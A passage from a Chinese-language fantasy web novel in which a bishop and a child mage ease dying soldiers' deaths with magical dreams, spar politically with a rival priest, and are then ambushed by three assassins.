格蕾丝的父亲,他的好友,在做生意的路上遇到了暴风雪,被发现的时候已经刚断气,搜救的人说他是条汉子,硬生生熬了两天,要是早一天报案,开始排查说不定还能有机会赶上;格蕾丝的母亲是在生她后染上了炎症,谁也没注意,她也一直没去看,送到医师那里去的时候已经太晚了;老太太这些年一直小病不断,最后没熬过去,但那天格蕾丝出去买东西了,没赶上最后一面…… 如果就是差一点呢,十分钟很短,但是如果就差十分钟呢? 格蕾丝是他唯一的亲人了,一个孤女成长的过程中有太多意外,万一就是这十分钟的疏忽呢。 他用手抚摸着这把陪伴了自己多年的椅子,打心底松了口气,格蕾丝已经平安长大了。 还成了布鲁城出名的姑娘,她聪慧,能干,还有张美丽的脸蛋,每次都有些小伙子借着吃饭的名义想来献殷勤,都被约翰打发了出去。 格蕾丝这么完美的孩子要谈恋爱那也得是个帅气优秀的人,歪瓜裂枣可过不了他这关! “约翰叔叔,您的眼光可太高了,吉姆已经是镇上长得不错的男孩儿了,家里还有奶牛场,嫁给他我们一辈子吃穿不愁,您前几天轰了德伊,今天轰他,明天又轰谁?我会嫁不出去的。” “瞧瞧你说的什么话,我们不差那点钱,那小子可花心了,我在执勤的时候可没少听他的闲话,难道你真喜欢他?” “那倒不是,其实我也很开心您眼光很高,不急着把我嫁出去,有的人还说您准备结婚时收一笔钱好好回本儿呢。” “哪个王八蛋说的!我要打掉他的牙!” “好啦,玩笑话罢了,别活在别人嘴里,把日子过好才是要紧的,管他们说什么呢。我还有件事告诉您。” 她似乎很紧张,仿佛是什么违法犯罪的大事,约翰也跟着提心吊胆。 “我不想太早结婚,我想去洛特斯城的人文学院学习文学或者历史,我想当个学者或者作家,我还可以写诗,把布鲁城的一切都写进去。” 约翰没有答复他,他愣住了。格蕾丝的心悬了起来,连忙解释。 “叔叔不用担心,我已经长大了,费用肯定不用你出,我自己已经在攒钱了,每天店里忙完我就在写东西,已经存了一小笔稿费,这些年的钱我也会……” “太棒了!格蕾丝!” 他突然站起身,兴奋地搓起手来。 “我们格蕾丝就是有本事!小时候你自己学识字,我就知道你指定是干大事的人!” 他笑起来,仿佛自己的梦想实现了一般。 “放心吧,格蕾丝,你一定能成为很厉害的学者或者作家的,没有出名也没关系,你在我心里就是最棒的孩子!” 他躺在这树下突然就想起了很多过去的事情。 对啊,生活总是在不断变好的,自从魔兽潮平定之后一切都在变得好起来,自己成了布鲁城的英雄之一,每天去执勤胸口别着那枚荣誉勋章都会让很多年轻人忍不住多看两眼。 饭店扩建后也越发红火了,雇了几个得力的服务员,格蕾丝只用算账和调配一下秘制酱料,其他时间都可以放在学习上。 这孩子争气,自考上了洛特斯城的人文学院,整个镇子谁不知道,约翰培养出了他们城镇第一个高级知识分子!他每天出门去执勤都趾高气扬,仿佛自己考上了一般。连欧文都受不了他了,说他天天把尾巴翘上天,也不请兄弟们吃一顿饭。 他们给凑钱给格蕾丝买了许多行头和生活必需品,格蕾丝第一次出这么远的门,大家也怕她在外面受欺负,纷纷出主意。 “要是遇到那些趾高气扬的小姐,千万别理她们,随她们说去,反正书读完了就回家,咱们也不受气,如果她太过分了,就扯她的头发!” 吉纳婆婆一边热心地说一边比划着。

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终于,日复一日中,他走到了尽头。 他躺在床上只觉得越来越困,他爱的人和爱他的人簇拥着他。 临终前格蕾丝问他,还有什么未了的愿望吗? 他满足地说“没有了。” “但您这一生,忙前忙后,都在为别人,您自己的梦想是什么呢?” “对呀,他的梦想是什么呢?” 他细细思索着,然后竟然笑了起来。 “我年轻时想当一名骑士,或者勇士,冒险家,然后我加入了城防军,前半辈子过得稀里糊涂的……这辈子也就这样吧。” 他有些艰难地喘着气。 “但我现在发现我的梦想已经实现了,格蕾丝。” “哪怕我的生活庸庸碌碌,但我从未向苦难低头,我没有丢掉自己的良心,我恪守了每一个誓言和承诺。” 格蕾丝拉着他的手,开始哭泣。 “哪怕并不伟大,我也勉强算自己生活里的英雄吧。” 他笑着闭上了眼睛。 而梦境以外,刚满三十二岁的约翰同样不会再醒来了。 神使们正在给梦境中的战士们注射药物。 那是阿萨特开发的特制药物,注射下去不会有一点痛苦,配合奥菲莉亚的魔法,他们会在梦里平静地结束一生。 有的神使颤抖着放下了针管,小声地说: “我做不到……我们这几天都相处得很好,他刚刚还告诉我他刚想好孩子的名字……啊!” 他刚说完,就受到了裴迪神官的攻击,被击飞在了地上。 “这是教皇陛下的旨意,你们难道想要违抗吗!这些人都是污秽之人,受到了恶魔的蛊惑,不在明天之前解决就会异化成魔物,横竖他们都是个死,不想干就滚出神使团!” 那位神使没有说话了,抓起了针管,颤抖着,接过了针管颤抖地扎了下去。 “……” 那个神使竟然抽噎起来。 许多神使也陆陆续续地开始做起了祷告,莱安娜看见不少人都犹豫再三。 就在药物注射进行到一半的时候,站在篝火前一直在施展魔法的奥菲莉亚突然往前一跌。 “奥菲莉亚!” 莱安娜看她情况不对,快步过去抱住她。 “比我预想得久。” 裴迪神官满意地看着大汗淋漓的奥菲莉亚。 “给二十多个人同时编造沉浸其中的梦境,梦境的时间跨度长达几十年,能坚持两分钟都很了不起,这孩子坚持了八分钟了。” 裴迪神官点评着,仿佛在测试一件武器的性能。 “虽然技巧和天赋都很卓越,但毕竟魔力储备有限,精神力也有待锻炼,可惜了,这孩子魔力不多。” “不,还好这孩子魔力不多。” 他思索道,然后放心地笑了。 “莱安娜……我快没有魔力了……但是,还有些结局没有写完。” 奥菲莉亚抓紧了莱安娜的手。 “我知道,我在骗他们,我不是好孩子,但是哪怕是假的,也不是没有意义的对吧,人总是需要梦的。” “有意义的,奥菲莉亚。我把魔力借给你。” 莱安娜正准备行动。裴迪神官不知道何时走到了她的旁边。 “莱安娜主教,我最后提醒您一次,不要做多余的事情,细节比您想象得重要。” 他把手搭在了莱安娜的肩膀上,这是莱安娜第一次从这个人的眼里看到如此明确的敌意。 “那我也明确告诉您,裴迪神官,唯有这件事我不会让步,这不是多余的事!我无力改变教皇陛下的决定,但至少让他们有尊严地死去!” 她一把拍掉了裴迪神官搭在她肩膀上的手。 然后低吟起复杂的咒语。 “那我们也没什么可聊的了。” 裴迪神官拂袖而去。 “莱安娜主教,我很欣赏您,我也给过您很多机会了,希望您记得自己的选择,您会为自己的选择付出代价的。”他转头对莱安娜说。 “哪怕是您和教皇陛下汇报,我会受到处罚,也绝不后悔。” 她不卑不亢,裴迪神官盯着她,眼神意味深长,但莱安娜这时候已经没有功夫去揣测他有什么深意了。 转移魔力是古老的魔法,现代魔法很少需要如此复杂的启动方式,这看似实用的魔法没有太多人掌握,一来是咒语过于复杂,二来则是对魔力的消耗极大。 她抱着奥菲莉亚,随着她的吟唱,地上出现了一道光圈,以及一些复杂的符号。 吟唱结束后,魔力仿佛如水流一般,从她的手掌流过,奔向怀中的奥菲莉亚。 光芒透出来,像是柔软的月光,将二人包裹住。 她将自己剩下的魔力大部分都传输给了奥菲莉亚,小家伙不负所望,借着这些魔力,继续施展着幻境魔法,直到最后一位战士的心脏停止跳动,灵魂归于静寂。 她编织了二十一个梦境,二十一段人生,在其中不停穿梭。 终于,在最后一个造梦归于虚无的时候,睁开了眼睛。 “梦已经结束了,莱安娜。” 奥菲莉亚的声音带着颤抖。 “你做得很好……” 莱安娜有气无力地摸了摸她的脑袋。 奥菲莉亚朝着她的怀里倒去,她拥抱着这个孩子,尽管自己也快到极限了。 塞拉神官见状,走上前来抱走了奥菲莉亚,莱安娜缓了一会儿后,艰难起身。 她觉得眼前开始发黑,扶着树干休息了好一会儿才上马。 “带着英雄们的遗体,回城。” 29. 尘埃落定 天亮的时候,防御楼上什么都不剩下,只留了一堆灰。 昨夜的大火烧了很久,直到最后一个罪人化为灰烬,阿纳托利才打开了封闭结界的通道,出去结果了那只魔物。 这场审判虽然来得有些迟,但仍然让守备军非常满意。 环视四周阿纳托利没有看到约翰。 “欧文,你看见约翰了吗?” “忘记告诉你了,昨天他获得了二级荣誉,已经被编队和莱安娜主教出去剿灭魔兽了。” 阿纳托利心里一沉,他有种强烈的预感,但现在天已经亮了,他哪怕想做什么也来不及,只能祈祷一切顺利。 如果莱安娜能够预测这边的魔兽,那另一个围剿区的魔兽很可能也在她的预计范围以内。她的实力加上神使团不可能对付不了剩下的魔兽,那带新编队伍的意义是什么? 答案呼之欲出,阿纳托利只能在心中祈祷自己的猜想有问题,事情或许并没有这么糟糕,莱安娜也没有理由这么做。 她巧妙地为那些罪人准备了一场惩罚,她给每个参加了剿灭作战的城防军申请了津贴和荣誉,还做了许多工作来保证布鲁小镇的重建,为了尽快终结魔兽潮,她作为唯一的魔法师已经连轴转了好几天······她没有理由诛杀这些无罪的平民。 他期待莱安娜会和往常一样带着所有人平安回来,约翰将带着那张笑脸出现在众人眼前。 但他很快就失望了。 莱安娜回来的时候,神使团还抬着用白袍遮盖住的尸体。 约翰也躺在其中。 明明是等待凯旋的欢迎会,气氛变得凝重起来,欧文不可置信地坐在约翰的尸体前,他没有哭,只是安静地坐在那里,暂时还不能接受这个事实。过了一会儿他仿佛终于明白过来发生了什么,眼泪这才流出来。 为什么他的生活总这么难,亲人朋友一个接一个地死在他面前,而他什么都做不了。 “我要怎么和格蕾丝说……她只有十六岁啊,约翰是她唯一的亲人,她要怎么接受。” 他松开阿纳托利的衣服,喃喃自语,仿佛冷静了下来在思考对策,只过了半分钟不到泪水就再一次掉下。 格蕾丝听闻消息一路狂奔来到这里,看到约翰那张熟悉的脸后她抱着约翰的胳膊啜泣起来。 她压抑着哭声,仿佛害怕声音一大谁要将她叔叔的尸体带走一般,其他家属也纷纷掩面哭泣,撕心裂肺。整个城门处悲伤的氛围浓到了顶点。 莱安娜靠在安置点的柱子旁,亲自等待着每位亲属带英雄们的遗体回家。 她在每一位被带走的勇士身上放了一朵洁白的花。 “对不起。” 每一位被带走之前,她都诚恳地向家属和死者本人致歉。 人来人往,没有一个人迁怒她。 “您不必道歉的,我们知道魔兽潮的凶险,您一个人怎么可能做好所有事呢。” 桑德的妻子露娜挂着两道泪痕,平和地说。 “我们已经听说了,你们遭遇了梦魇兽和有剧毒的蛇型魔兽,虽然只是低阶魔兽,被那些东西要上一口,如果来不及治疗就完了。您哪怕再强大也没法兼顾每一个人,我们都理解的。” 她走上前来,整理了莱安娜乱糟糟的头发。 “瞧瞧,走近来看,原来您也只是一个年轻姑娘啊,” 露娜拥抱了她。 “您甚至还没有我的表妹大,就要一个人面对这些,您已经做得很好了,至少帮我们大部分人在魔兽潮中活了下来。” 她慈祥地笑着,摸了摸莱安娜的脑袋。 “可惜了,我的孩子很快就要出生了,桑德还说最近正在想要取什么名字。” 她一边抚摸着自己隆起的腹部,一边流泪。 “他和我说过,如果是男孩就叫威廉,如果是女孩就叫维多利亚,我和他一起闲聊时他提过。” 一旁的神使低声说,莱安娜注意到,这个神使的眼圈已经红了。 “谢谢你们。” 告别之后,露娜和她的家人们便带着她丈夫的遗体回去了。 当最后一个人带着家人回去,莱安娜再也没有了多余的力气,她靠着墙面,滑到了地上,仰着脑袋看向逐渐升起的太阳,仿佛在质问。 刚刚她听到很多话: “你的命好苦。” “为什么我的命这么苦。” “我们以后要怎么办?” “为什么偏偏是你。” ······ 为什么他们毫无选择,到底是什么让大家如此挣扎。 她拼尽全力只能为这些人争取一个体面的死法,但为什么他们必须去死? 没等她调节好,令人厌烦的声音再次出现了。 “您在这里啊······” 裴迪神官似乎已经和昨夜返回的神使团、城防军确认了现场情况,现在来找她算账了。 “我有事找您聊聊。” 他打量着坐在地上背靠墙面的莱安娜,露出意味深长的眼神。 “您的状态真是差到了极点,连站起来的力气都没有吗?主教基本的礼数都不顾及了。” 莱安娜忍着不适起身, “您有什么事。” “您心里门清我有什么事,我确实低估您了,您阳奉阴违的本事令我叹为观止,虽然不知道您在我的封印上动了什么手脚,但您的计划很有效,昨夜被你蛊惑去守夜的三十位地方管理人员都被魔龙的火烧成了灰,此事我会如实上报给教皇陛下的。” “给您一个忠告,您最好换一个说辞。” 裴迪神官提防地盯着她,像是在警惕一条狡猾的毒蛇一般。 “什么意思。” “裴迪神官忘记了吗,这件事您已经撇不干净了,魔龙是您亲自抓的,封印是您亲自下的,连安置和检查都是您做的······魔龙袭击的时候我可是在另一边执行教皇的任务,结界装置设置是城区负责检修的人亲自调整的,还签了字,这件事和我毫无关系,仅凭您的一句‘不知道我在封印上动了什么手脚’,你觉得维斯特利亚还有大领主们会来追究我的责任吗?” 她饶有兴趣地看了裴迪一眼,终于看到这个趾高气扬的人露出了恼羞成怒的表情。 不过他很快就调整过来。 “呵······” 他冷笑了一声,气势仍然很足,但他自己也知道,这件事情上他已经没有挽回的余地了。 “您的手段很高明,过去只听说莱安娜主教在魔法领域天赋卓然,不知道您在其他地方竟然还可以惊喜不断。” 他看着莱安娜,不怀好意地上下打量,仿佛在重新评估她的能力一般。 “我哪有什么手段,裴迪神官和我都是教皇陛下忠心的下属,来这里尽心尽力地执行工作罢了,这里的地方工作人员相当有责任感,过去魔兽潮的损失让他们对镇民常怀愧疚,不仅主动提出给抗灾的英雄们发放津贴,还主动提出想要为防御工作出一份力,向你我二人提交了守夜申请。” 她意味深长地看着裴迪神官,随后仿佛真的无比惋惜地叹了口气。 “可惜啊,世事无常,由于其中一位检修人员的过失,导致防御屏障范围有误,他们牺牲在了保卫城墙的一线;至于魔龙,和裴迪神官您没有关系,我们从来没有封印过什么魔龙,那是由于城区安全司的管理人员探查不足,没有及时发现,我们当时还在另一边忙着击杀魔物呢,凡事总不能面面俱到。” 她平静地解释着,好像事实真的如此。 “总之,管理人员们未能如愿移交中央法庭,是因为他们自身探查失误,检修装置失误、以及想要将功补过的综合结果,我们尊重了各方的意见,但天意如此,虽然这些管理人员在工作中存在较为严重的过失,但是他们都已经牺牲了,咱们还得请教皇和皇帝陛下宽恕他们的失职之罪,毕竟他们也是好心想要为魔兽潮剿灭尽一份自己的力。” 莱安娜说罢,捋了捋被风卷起的头发,将它们别在耳后,微笑着看向裴迪神官。 “实在要问为什么他们如此好心却落得这个结局,就回答教皇和皇帝陛下一句‘他们命不好’吧。” 她讥讽道。 对方沉默了半晌,发出了一声冷笑。 “呵,您说得很对,我会向教皇陛下如实禀报,再给这些可怜人求情的,发生这样的事和你我都没有半分关系。” 他也笑着看了一眼莱安娜,两人统一了口径。 裴迪神官转身准备离去,但仿佛想起了什么,又转过身来。 “还有一件事,莱安娜主教,虽然魔兽潮已经平定了,但是安置点的人手不足,而且西北边的重建工作和搜集工作也还需要人手。” “现在魔兽潮剿灭已经结束了,大可以给神使团他们分工。” “直属我的两个神使团已经在和欧文对接负责西北方的搜救事宜,现在距离那场灾难才过去不到三天,受害者名单还有七十个人对不上,搜救工作在这时候更应该加强,我需要更多人手。” “教皇陛下划拨给我分管的那个神使团中有不少元素类型的魔法师,搜救和重建工作他们都能帮上忙。” “我可以理解为您愿意将他们的指挥权暂时转交给我吗?” “当然。” “我负责的两个团两小时后可以开始,莱安娜主教认为划拨给您的那个团什么时候开始比较合适?” “您直属的神使团在这次行动中并没有太多战斗,主要是探查工作,划拨给我的神使团消耗并不小,让他们休息一天吧。” “您看能否缩减到半天,今天傍晚时让他们开启工作吧。一来这些工作并不像魔兽潮那样凶险,耗费的魔力也不多,二来几个小队工作的时间差的太多,难免会觉得我们不够公平,您觉得怎么样?” “可以,我稍后把调令给您,搜救工作的情况请及时向我汇报。” “您不会和我们一同进行?” 裴迪神官惊讶地笑着。 莱安娜知道这人在讥讽她前几天催命一样的效率,现在收尾竟然想撂挑子。 “我当然会参加诸位的工作,我的控制型魔法无论是搜救还是重建想必都能派上用场。只是我暂时需要休息两天。” “真是让我意外,我以为您不用休息呢。” 他这话讥讽的味道十足,莱安娜觉得这人真是足够无耻,前期工作他带领的神使团一直消极怠工,自己为了赶上时间,在那些居民异化之前解决一切,才不得不自己顶上去,消耗了太多魔力。而这个罪魁祸首还在这里嘲讽她,但莱安娜已经没有兴趣和他逞口舌之快了。 “裴迪神官说笑了,我也是人,这几天的工作您也看在眼里,我已经两天多没合眼了,魔力也需要恢复一下。” “您大概什么时候可以参加搜救和重建的工作呢?” 莱安娜觉得有些蹊跷,一向怠工的裴迪神官为何突然对收尾工作如此上心呢? “您这时候怎么这么心急了,之前一直悠哉悠哉的不是您吗?” 她不痛不痒地刺了他一句,想要试探一下。 “呵呵,因为我一刻也不想在这个地方多待,越早完成后续工作就可以越早回圣都,真是想念圣都的文明和繁华,这里的条件也太落后了。” 他不屑地说了两句自己的不满,在此之后还抱怨了下布鲁城从饮食到家具的不足。他这个理由倒是很符合好逸恶劳的性格,莱安娜随即打消了疑虑。 “两天吧,裴迪神官。您也说了搜救工作耗费的魔力并没有战斗那么多,那我应该两天后就能使用负担不那么重的魔法,您可以在一星期之内回到 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阿纳托利正和欧文走在街道上,他们刚刚和格蕾丝一起料理完约翰的后事,三人商量着一起吃个午饭。 迎面看到了从安置点骑马来的莱安娜,她面色憔悴。 看到了阿纳托利还在这里似乎倍感意外,那双绿色的眸子因为惊讶多了几分生气。 “竟然是尼基塔先生,我还以为结界一开您就会马不停蹄离开呢,你之前似乎提过您很着急。” “确实如此,但我想参加完朋友的葬礼,和大家正式告别后再离开。” 阿纳托利轻声说,回头看着自己的两位朋友,莱安娜也顺着他的目光看了一眼他身后的欧文和红着眼圈的格蕾丝。 莱安娜一时失语,她低下头,下意识闭上了眼睛。 “节哀。” 她轻声道。 格蕾丝冲她点头,泪水仿佛又要落下了。 “对不起。” 莱安娜愧疚地攥紧了缰绳。 格蕾丝说不出一句话,她捂着自己的嘴,防止自己因为情绪失控而哭出声来,两道眼泪再一次从眼角滑落。 看着泪如雨下的格蕾丝,莱安娜觉得胸口堵得很难受。 阿纳托利看氛围过于沉重,走上前一步,将格蕾丝和莱安娜隔开,欧文拍了下格蕾丝的肩膀,安慰着她。 “所以您会在什么时候离开?”莱安娜轻声询问。 “今晚吧。”阿纳托利如实相告。 “是吗,看来我没法给您送行,后续还有些工作需要处理。祝您顺利。” “也祝您·····一切顺利,健康平安。” “您的祝福怎么让我感觉自己像是病入膏肓一样。” 她苦笑了一下,看着她这副样子阿纳托利一时间心情很复杂,在停顿一会儿后才干巴巴地解释。 “我只是觉得您太累了……您看上去确实需要休息。” “我会的,那告辞了。” 莱安娜骑马快速离开,阿纳托利只得看着她远去的背影,他其实有很多问题想再问问她,但见到本人后却没有开口。 约翰的死确实另有隐情,但自己有什么立场要求莱安娜现在就毫无保留地告知呢?经过审判一事就知道南方这些权贵是什么德行,斡旋其中的莱安娜为了达到目前的结果,想必也已经是拼尽全力了。 他原本很担心莱安娜如果完全变成另一个人后,自己应该如何面对她。但现在看来自己的这种假设和猜想很愚蠢,他不够了解莱安娜。 她哪怕是面对如此复杂的环境、诡异的人心,依然还在执着地坚持自己的原则,正如她给布鲁城的人民带来的审判一样,她的本质从未改变,是自己小看了她。 但那些关于她的传闻到底是从何而来,关于她成为主教的真相到底是什么?还有约翰死亡的隐情,有太多谜团没有答案,或许只有等他回到圣都才能一探究竟。 与此同时,裴迪神官拿着莱安娜转交给他的调令,慢悠悠地来到了神使团聚集的安置点,和莱安娜分管的神使团交代了任务之后,只听一片哀嚎。 “不是吧,只放半天假。” “裴迪神官,能不能再延长一下啊。” “当然不可以,我都没下班你们还想放假?” 裴迪含笑数落了他们一通。 “哎呀,其实往好处想咱们的假期已经延长啦。” 有个神使安慰着自己不情不愿的同伴。 “你放什么狗屁。” “如果不是因为要去进行搜救工作,按照惯例,我们现在应该会在莱安娜主教暂居的宅邸门口轮值守卫。其实算下来每个人也就休息六个小时啦。” “我看你们都别抱怨,你们剿灭魔兽的时候还是轮着上的战场,莱安娜主教和裴迪神官他俩连着两天都没有合眼。” 有个年长一些的神使敲了敲着两个后辈的脑袋。 “大家说得太严重了,不算连轴转,我和你们莱安娜主教还是有见缝插针地打盹的。” 他笑着说,尽管他并不想和这群人在这里开没有营养的玩笑,但他必须尽可能在神使团笼络好人心。 “大家坚持一下,根据我们最初的计划,四次剿灭任务都推进得很顺利,我们完成了后续工作就可以回家了。” 神使们零零星星地走出了安置点的休息处,集结好后就会朝西北方赶路。 “对了,裴迪神官。” “怎么了?休斯神使。” “您刚才说四次剿灭任务,我们不是只行动过三次吗?” 裴迪神官盯着他,笑而不语。 对于局外人而言,有时候记忆太好可不是一件好事。 30. 真正的剿灭任务 莱安娜醒过来的时候已经是黄昏了,在长期高压后睡一觉让她的精神有了些许恢复。 她倚靠在床边看着眼前的夕阳,心里空落落的。 “真想去送送他。” 她苦笑了一下,然后嘲讽着自己不应当有的期待。 她起身查看了一下自己魔力的恢复情况,恢复了少许,恢复的速度其实不算慢了,这样下去甚至不用两天,明天中午她就可以去搜救现场。 “莱安娜主教,裴迪神官在西北边有新的报告。” 塞拉将通讯器递了过来。 莱安娜打开看着上面投影的文字。 “搜救工作进行顺利,我们截至目前共寻找了二十七人,但坏消息是,我们在西北的废墟里发现了未被探查到的具有飞行能力的小型魔兽,移动能力及快,攻击力低,未能完全捕获,但考虑到镇民的安全,我在您休息的时候发布了宵禁的指令,还望理解。” 莱安娜皱起了眉来。 “漏掉的魔物?探查小组果然还是不够专业啊。” 她忍不住骂一句,如果不是为了节约魔力她也不必将比较重要的探查工作交给几个半吊子魔导师做,每次看他们拿着仪器上摇下摇她就觉得头疼。 “所以不是好消息?”塞拉歪着头看着她。 “不,问题不大,其实算好消息了,但是可能需要麻烦塞拉你跑一趟。” 她一边说着,一边从行李中翻出了一个瓶子,里面装着不知名的粉尘。 “那种生物我曾在旅行的时候遇到过,被咬伤了会起一些红疹,这种药粉可以治疗,并且还有一定的驱离作用,日常生活这种药粉还可以消肿。你把这个给裴迪神官他们送去,这个药粉是由铉金草制作的,如果用完了就让医官再仿制一下。” “遵命。” 塞拉接过这个瓶子,叹了口气。 “我本来是要出门去安置点找医生给您拿药的,还好下午有神使提醒我今晚去拿药,这两天咱们都快忘了,怎么现在您却要我给裴迪神官那个正常人送药?” “虽然我也希望让他吃点苦头,但和他一起的其他神使不是很无辜吗?而且这是公事。” “莱安娜……” “好了,就麻烦塞拉多跑两趟了,我的药你回来的时候顺路带吧。” 她笑着把塞拉推出门外,然后一个人安静地在卧室看起了报告。 或许是因为宵禁,宅邸格外安静,正当她高兴终于没有人打扰她的清净的时候,奥菲莉亚这个捣蛋鬼破门而入了。 “莱安娜!” “怎么了,奥菲莉亚,你这个小家伙睡了整整十五个钟头呢,比我这几天加起来还要多。” “所以我饿了嘛。” 她嘟囔着,似乎还有点委屈。 “好吧好吧。” 她无可奈何地放下了手里的工作。 “我记得塞拉说过这个宅邸是教会划拨给神职人员落脚的,一楼似乎放了一些食物,我们可以去找找看。” 她披上蓝色的袍子,温柔地牵起奥菲莉亚的小手,走下了楼。 傍晚的宅邸有些昏暗,但是仍然可以看清。 奥菲莉亚很怕黑,她握紧了莱安娜的手,只要莱安娜在她的身边她就好了很多。 “奥菲莉亚第一次施展这么庞大的魔法,现在有什么不舒服的感觉吗?” “睡了一觉已经好了,但是还是会觉得很难过。” 莱安娜摸了摸她的头, “这对你来说还是太勉强了……你看到了什么。” “幻境必然要看到他们的过去的回忆才行,我看到了那些人的过去,莱安娜。” 她的声音在颤抖,莱安娜估计这孩子眼睛里泪水已经在打转了。 “莱安娜,他们都是好人……约翰想开餐厅,佩里想成为冒险家,盖茨比他一直在期待自己的孩子长大……他们从没做过什么坏事,我感觉维克多还有好多人比他们坏多了,但为什么死去的是他们呢?” 她困惑地问,但这个问题莱安娜回答不了她,这也是困扰着她的疑惑。 “为什么无辜者要被牺牲,为什么有人可以冠冕堂皇地作恶?” 奥菲莉亚看她没有回答自己,继续追问。 “我是不是做错了,莱安娜,虽然那些梦很美好,但我骗了他们,我造的的那些梦有什么意义?他们还是会死去,永远也没法实现梦里他们本应有的结局?” “不,奥菲莉亚,只有这一点,我可以向你保证,一切都是有意义的。” 她蹲下身捧住了奥菲莉亚的小脸蛋,这小家伙虽然没有哭出声来,但眼睛里已经装满泪水了。 “是奥菲莉亚让他们的最后一段路没有那么痛苦,即使结局一样,我觉得过程的改变也并非没有意义,相信我,奥菲莉亚,会好起来的。” 她朝奥菲莉亚的额头落下一吻,小家伙的情绪似乎平复了一些。 她慢慢站起身,还有两步楼梯就到了,奥菲莉亚却停了下来。 她回头看去,估摸着这孩子还是有些难受,她转身准备把她抱起来。 黑暗中的奥菲莉亚忽然朝她扑过来,莱安娜猝不及防被她这么一撞,下意识后退一步,抱着她跌靠在了楼梯的扶手上。 然后她看见了从自己头顶飞过一把明晃晃的刀刃。 如果不是奥菲莉亚这一扑,这刀已经落到她的脖颈上了。 “这小家伙还真是敏锐啊。” 从地面传来一个陌生的女声。 “我已经隐藏了我的魔力,没想到还能被这小东西感知到。” 她手里把玩着那把匕首,笑着看向莱安娜怀中的奥菲莉亚。 “别那么紧张,我们不会对你的那个小家伙做什么,我们的目标是你,不过嘛这小可怜实在不走运,要亲眼看你死在她面前,之后洗去记忆恐怕要受点罪。” 莱安娜闻言下意识把奥菲莉亚抱得更紧了。 她拿着匕首快速逼近,莱安娜判断这是位魔导师,她抱着奥菲莉亚,躲避她的剑锋。顺势滚落到了一楼。 然后落地立刻打开了防御屏障。 “居然还有余力啊。” 拿匕首的女人似乎认真起来,开始疯狂攻击。匕首作为媒介释放着尖锐的魔力,随着她的动作,在屏障上飞速滑过。屏障在她棘手的攻击中颤抖起来。 “莱安娜,我害怕,我们现在怎么办……” 怀里的奥菲莉亚还在发抖,她的辫子已经散开,但她还是努力没有让自己哭出来,眼里噙满泪。 “奥菲莉亚,还记得我教过你怎么隐匿魔力还有气息吗?” 奥菲莉亚回忆了一下,点了点头。 “我会给你施加一个带有隐匿效果的防御魔法,但只靠这个应该是没办法逃过这些人的,你还要隐匿自己的气息和魔法波动,一定要不停地逃。” “但我能逃去哪里呢?” “去你之前来这里的兔子餐厅,找阿纳托利,或者说尼基塔,他会帮你,如果他不在,就往西逃。露比辖区离这里不远。” “那你呢?莱安娜?” “我走不了了……” 没有等奥菲莉亚反应过来,防御结界就在强烈的攻击下化为了碎片。 “哎呀,看来你们聊得很开心。” 刚刚的防御屏障莱安娜故意减少了魔力,对方似乎真的以为自己毫无还手之力,太过轻敌,竟然敢直接正面朝她冲过来。 莱安娜抬手朝这人的面门全力一击,她果然避闪不及,只得正面接住,这一击莱安娜下了十足的力,她被击飞了老远。 室内作战对于魔法师极为不利,不仅难以施展魔法还容易被人近身。 想到这点,莱安娜炸开了落地玻璃,同时给奥菲莉亚施加了有隐匿效果的屏障。 她俩想要一起逃到室外。 奥菲莉亚跳出的瞬间,身旁的莱安娜却不知道被什么东西拽住了脚。 “莱安娜!” “快走,奥菲莉亚。” 莱安娜推了她一把,挥手断掉了刚才攀上她脚的魔锁。 她还想尝试,玻璃窗上已经凭空出现了一道屏障。将她和奥菲莉亚隔开。 奥菲莉亚屏息凝神,试图施展出魔法,但她的魔力尚未恢复,打在这个屏障上没有掀起一点波澜。 “我太没用了……要是我魔力更多一点是不是就可以……” 她隔着屏障看见莱安娜给她做了一个快跑的口型。她颤抖着起身,朝外面跑去。自己现在在这里帮不上任何忙,不能在这里拖累莱安娜。 “你来迟了,一号。” 拿匕首的女人揣着手不满地看向出现在客厅中戴着兜帽的男人。锁链在他身探出,漂浮在空中,正是他刚才限制了莱安娜的行动。 “太难看了,二号,被打飞这么远,竟然还受伤了?” “切。” 二号白了他一眼,把目光落在背对屏障的莱安娜身上。 “有必要这么严阵以待吗,连屏障都用上了,我受伤是中了计,不过现在这位女士看上去已经筋疲力尽了,放她去户外也掀不起什么风浪。” “她可是教会排名在前三的高阶魔法师,哪怕是魔力耗尽也不能轻敌,你刚才已经吃过亏了。” 一号礼貌地提醒她。 他们竟然没有立刻动手,而是一边聊了两句,一边观察着她,同时封死了她所有的退路。 不知道是太忌惮她的反扑,还是确信她没有逃跑的可能性,只是在单纯地享受一场围猎。 “一个高阶魔导师、一个高阶魔法师。”莱安娜快速判断着对手的实力同时观察房屋内是否有东西可以利用。 就在她环顾四周时,从阴影中走出了第三个人。 “三号,你怎么比一号还要迟,再这样下去,这位小姐去天堂报道要是迟到了,只能怪在你身上。” 一个身形偏瘦的男性从阴影中冒出来,仿佛是凭空出现一般。 一个高阶魔导师。 三号没有理二号的讥讽,只是观察着着靠在墙边的莱安娜,他的眼神比起前两个人还多了几分癫狂,他直勾勾地盯着莱安娜,眼神森然,让莱安娜想起沼泽里的蛇。 三号似乎准备出手,朝前迈了一小步,但被一号拦了下来。 “小东西跑掉了,应该用了隐匿魔法,你是我们当中最擅长追踪的,去带她回来。” 三号瞪了一眼一号,似乎对这个任务分配不是很满意,他似乎咒骂了一句,退回到了阴影之中。 “记得留活口哦,那孩子天赋很稀有呢。”二号笑嘻嘻地提醒他。 “啰嗦。”他骂了一句,而二号的飞刀已经落在了他刚才离开的地方,他仿佛凭空消失一般。 莱安娜正盯着他消失的地方,想到这人擅长的魔法技艺是追踪,不由得为奥菲莉亚的处境感到担忧,但二号已经提着刀朝她逼近。 寒光一闪,一道口子已经出现在了她的腰侧,刀很快,她甚至没能感受到疼痛,不过所幸伤口不深。 “嗨呀,这位小姐您的反应真快啊,竟然躲过去了,我本来是瞄准您的心脏的。” 那把匕首在她手中仿佛有生命一般,在空中飞速舞动就像是一条涂着信子的银蛇。 莱安娜估摸着二号的实力起码是高阶魔导师,对方刚刚那一击已然破开了自己的防御。 她捂住自己的侧腰,血很快渗出来,在白色的衬裙上是如此触目惊心。 “她刚刚在你出手的时候用魔力包裹住了你的匕首,因此伤口并不深,再加上了闪避才逃过了致命一击。” 一号在远处看穿了莱安娜的防御思路,提醒二号。 “你是准备在那里当一晚上解说员吗一号,我很辛苦的。” 她不满地抱怨。 